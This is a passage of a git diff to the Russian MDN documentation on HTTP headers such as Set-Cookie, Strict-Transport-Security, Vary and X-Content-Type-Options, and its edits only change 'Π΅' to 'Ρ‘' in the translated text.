<dd>Cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Β Π½Π° сСрвСр Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с запросами c использованиСм SSL ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTPS.<br>
<br>
@@ -124,14 +124,14 @@ Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt
<h3 id="ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹ΠΉ_cookie">ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹ΠΉΒ cookie</h3>
-<p>ВмСсто истСчСния срока дСйствия, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚, срок дСйствия постоянных Ρ„Π°ΠΉΠ»ΠΎΠ² cookie истСкаСт Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π΄Π°Ρ‚Ρƒ (<code>Expires</code>) ΠΈΠ»ΠΈ ΠΏΠΎ истСчСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (<code>Max-Age</code>).</p>
+<p>ВмСсто истСчСния срока дСйствия, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π·Π°ΠΊΡ€Ρ‹Ρ‚, срок дСйствия постоянных Ρ„Π°ΠΉΠ»ΠΎΠ² cookie истСкаСт Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π΄Π°Ρ‚Ρƒ (<code>Expires</code>) ΠΈΠ»ΠΈ ΠΏΠΎ истСчСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (<code>Max-Age</code>).</p>
<pre class="notranslate">Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
</pre>
<h3 id="НСвСрныС_Π΄ΠΎΠΌΠ΅Π½Ρ‹">НСвСрныС Π΄ΠΎΠΌΠ΅Π½Ρ‹</h3>
-<p>Π€Π°ΠΉΠ» cookie, ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ Π΄ΠΎΠΌΠ΅Π½Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ исходный сСрвСр,Β <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ</a>. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, Ссли ΠΎΠ½ Π±Ρ‹Π» установлСн сСрвСром, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹ΠΌ Π½Π° originalcompany.com.</p>
+<p>Π€Π°ΠΉΠ» cookie, ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ Π΄ΠΎΠΌΠ΅Π½Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ исходный сСрвСр,Β <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌ</a>. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ cookie Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, Ссли ΠΎΠ½ Π±Ρ‹Π» установлСн сСрвСром, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹ΠΌ Π½Π° originalcompany.com.</p>
<pre class="notranslate">Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre>
diff --git a/files/ru/web/http/headers/strict-transport-security/index.html b/files/ru/web/http/headers/strict-transport-security/index.html
index b4c6271a82..d5fa694237 100644
--- a/files/ru/web/http/headers/strict-transport-security/index.html
+++ b/files/ru/web/http/headers/strict-transport-security/index.html
@@ -6,7 +6,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/Strict-Transport-Security
---
<div>{{HTTPSidebar}}</div>
-<p><strong>HTTP <code>Strict-Transport-Security</code></strong>Β  - Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°Β (часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Π° {{Glossary("HSTS")}}),Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉΒ web-сайтам ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ доступ ΠΊ Π½ΠΈΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π±Ρ‹Ρ‚ΡŒ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»Π΅Π½Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ посрСдством HTTPS вмСсто HTTP.</p>
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong>Β  - Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°Β (часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Π° {{Glossary("HSTS")}}),Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉΒ web-сайтам ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ доступ ΠΊ Π½ΠΈΠΌ Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π±Ρ‹Ρ‚ΡŒ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»Ρ‘Π½Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ посрСдством HTTPS вмСсто HTTP.</p>
<table class="properties">
<tbody>
@@ -41,7 +41,7 @@ Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Если сайт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ доступ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ HTTP ΠΈ пСрСнаправляСт Π½Π° HTTPS, посСтитСли ΠΌΠΎΠ³ΡƒΡ‚Β ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΉ вСрсиСй сайта Π΄ΠΎ пСрСнаправлСния, Ссли, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β Π²Π²Π΅Π΄ΡƒΡ‚ http://www.foo.com/ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ просто foo.com. Π­Ρ‚ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ возмоТности для атак посрСдников. ΠŸΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° посСтитСлСй Π½Π° ΡΠ°ΠΉΡ‚Β Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ²Β Π²ΠΌΠ΅ΡΡ‚ΠΎ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΉ вСрсии ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ сайта.</p>
+<p>Если сайт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ доступ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ HTTP ΠΈ пСрСнаправляСт Π½Π° HTTPS, посСтитСли ΠΌΠΎΠ³ΡƒΡ‚Β ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΉ вСрсиСй сайта Π΄ΠΎ пСрСнаправлСния, Ссли, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ,Β Π²Π²Π΅Π΄ΡƒΡ‚ http://www.foo.com/ ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ просто foo.com. Π­Ρ‚ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ возмоТности для атак посрСдников. ΠŸΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано для ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° посСтитСлСй Π½Π° ΡΠ°ΠΉΡ‚Β Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ²Β Π²ΠΌΠ΅ΡΡ‚ΠΎ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΉ вСрсии ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ сайта.</p>
<p>HTTP Strict Transport Security Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ сообщаСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‚ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ сайт Ρ‡Π΅Ρ€Π΅Π·Β HTTP ΠΈ всСгда Π΄ΠΎΠ»ΠΆΠ΅Π½ автоматичСски ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ доступа ΠΊ сайту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ HTTP Π² HTTPS.</p>
@@ -53,7 +53,7 @@ Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
<p>Strict Transport Security Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ;Β ΠΏΠΎΠΊΠ° Π²Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ банковскому сайту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ HTTPSΒ ΠΈ Ρ‚ΠΎΡ‚Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Strict Transport Security, ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π½Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ HTTPS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ позволяСт Ρ…Π°ΠΊΠ΅Ρ€Π°ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅Β Π°Ρ‚Π°ΠΊΠΈ посрСдников.</p>
-<h3 id="Как_Π²Π΅Π΄Π΅Ρ‚_сСбя_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€">Как Π²Π΅Π΄Π΅Ρ‚ сСбя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</h3>
+<h3 id="Как_Π²Π΅Π΄Ρ‘Ρ‚_сСбя_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€">Как Π²Π΅Π΄Ρ‘Ρ‚ сСбя Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</h3>
<p>ΠŸΡ€ΠΈ пСрвом доступС к сайту с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ HTTPS ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π΅Β <code>Strict-Transport-Security</code> Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ сохраняСт эту ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² дальнСйшСм ΠΏΡ€ΠΈ загрузкС сайта Ρ‡Π΅Ρ€Π΅Π· HTTP Ρ‚ΠΎΡ‚ автоматичСски использовал HTTPS.</p>
@@ -63,7 +63,7 @@ Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
<h2 id="ΠŸΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_Strict_Transport_Security">ΠŸΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Strict Transport Security</h2>
-<p>Google ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚<a href="https://hstspreload.org/">Β HSTS preload service</a>. БлСдуя инструкциям ΠΈ удачно отправив свой Π΄ΠΎΠΌΠ΅Π½, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Π΄ΠΎΠΌΠ΅Π½Ρƒ Ρ‡Π΅Ρ€Π΅Π·Β Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠ΅ соСдинСниС. Π’Π°ΠΊ ΠΊΠ°ΠΊ сСрвис хостится Google, всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΎ Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ (ΠΈΠ»ΠΈ Π½Π° самом Π΄Π΅Π»Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ) ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ списком. Однако, это Π½Π΅ Ρ‡Π°ΡΡ‚ΡŒ HSTS спСцификации ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎΒ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ.</p>
+<p>Google ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚<a href="https://hstspreload.org/">Β HSTS preload service</a>. БлСдуя инструкциям ΠΈ удачно отправив свой Π΄ΠΎΠΌΠ΅Π½, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡΡ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Π΄ΠΎΠΌΠ΅Π½Ρƒ Ρ‡Π΅Ρ€Π΅Π·Β Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠ΅ соСдинСниС. Π’Π°ΠΊ ΠΊΠ°ΠΊ сСрвис хостится Google, всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹Β Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΡŠΡΠ²ΠΈΡ‚ΡŒ ΠΎ Π½Π°ΠΌΠ΅Ρ€Π΅Π½ΠΈΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ (ΠΈΠ»ΠΈ Π½Π° самом Π΄Π΅Π»Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ) ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ списком. Однако, это Π½Π΅ Ρ‡Π°ΡΡ‚ΡŒ HSTS спСцификации ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎΒ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ.</p>
<ul>
<li>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ спискС HSTS ΠΏΡ€Π΅Π΄Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π² Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
diff --git a/files/ru/web/http/headers/vary/index.html b/files/ru/web/http/headers/vary/index.html
index 25d269b056..b0b114d3e3 100644
--- a/files/ru/web/http/headers/vary/index.html
+++ b/files/ru/web/http/headers/vary/index.html
@@ -35,7 +35,7 @@ Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
<dt>*</dt>
<dd>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ запрос Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ Π½Π΅ ΠΊΡΡˆΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ. Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒΒ ΡΡ‚ΠΎ - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{HTTPHeader ("Cache-Control")}}:Β <code>no-store</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ для чтСния ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ сигнализируСт ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π½ΠΈΠΊΠΎΠ³Π΄Π°.</dd>
<dt>&lt;header-name&gt;</dt>
- <dd>Π Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми список ΠΈΠΌΠ΅Π½ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ принятии Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎ Ρ‚ΠΎΠΌ, ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚.</dd>
+ <dd>Π Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми список ΠΈΠΌΡ‘Π½ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ принятии Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎ Ρ‚ΠΎΠΌ, ΠΌΠΎΠΆΠ½ΠΎ Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚.</dd>
</dl>
<h2 id="Examples">Examples</h2>
diff --git a/files/ru/web/http/headers/x-content-type-options/index.html b/files/ru/web/http/headers/x-content-type-options/index.html
index 7271e86cd1..e037d5435d 100644
--- a/files/ru/web/http/headers/x-content-type-options/index.html
+++ b/files/ru/web/http/headers/x-content-type-options/index.html
@@ -13,7 +13,7 @@ original_slug: Web/HTTP/Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ/X-Content-Type-Options
<p><span class="tlid-translation translation" lang="ru"><span title="">HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π°</span></span> <code><strong>X-Content-Type-Options</strong></code> <span class="tlid-translation translation" lang="ru"><span title="">являСтся ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌ сСрвСром для указания Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΈΠΏΡ‹ MIME, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… {{HTTPHeader ("Content-Type")}}, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ.</span></span> Π­Ρ‚ΠΎ позволяСт ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° MIME</a>, ΠΈΠ»ΠΈ, Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, <span class="tlid-translation translation" lang="ru"><span title="">это способ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-мастСра Π·Π½Π°Π»ΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ Microsoft Π² IE 8 ΠΊΠ°ΠΊ способ для Π²Π΅Π±-мастСров Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ происходящий ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ содСрТимого ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ нСисполняСмыС Ρ‚ΠΈΠΏΡ‹ MIME Π² исполняСмыС Ρ‚ΠΈΠΏΡ‹ MIME.</span> <span title="">Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Π½Π΅Π΄Ρ€ΠΈΠ»ΠΈ Π΅Π³ΠΎ, Π΄Π°ΠΆΠ΅ Ссли ΠΈΡ… Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ MIME Π±Ρ‹Π»ΠΈ ΠΌΠ΅Π½Π΅Π΅ агрСссивными.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±Ρ‹Π» Π²Π²Π΅Π΄Ρ‘Π½ Microsoft Π² IE 8 ΠΊΠ°ΠΊ способ для Π²Π΅Π±-мастСров Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ происходящий ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ содСрТимого ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Ρ‹Π²Π°Ρ‚ΡŒ нСисполняСмыС Ρ‚ΠΈΠΏΡ‹ MIME Π² исполняСмыС Ρ‚ΠΈΠΏΡ‹ MIME.</span> <span title="">Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π²Π½Π΅Π΄Ρ€ΠΈΠ»ΠΈ Π΅Π³ΠΎ, Π΄Π°ΠΆΠ΅ Ссли ΠΈΡ… Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ MIME Π±Ρ‹Π»ΠΈ ΠΌΠ΅Π½Π΅Π΅ агрСссивными.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title="">ВСстСры бСзопасности сайта ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ этот Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π±ΡƒΠ΄Π΅Ρ‚ установлСн.</span></span></p>
diff --git a/files/ru/web/http/headers/x-forwarded-for/index.html b/files/ru/web/http/headers/x-forwarded-for/index.html
index 337bdaaacd..a8b990579c 100644
--- a/files/ru/web/http/headers/x-forwarded-for/index.html
+++ b/files/ru/web/http/headers/x-forwarded-for/index.html
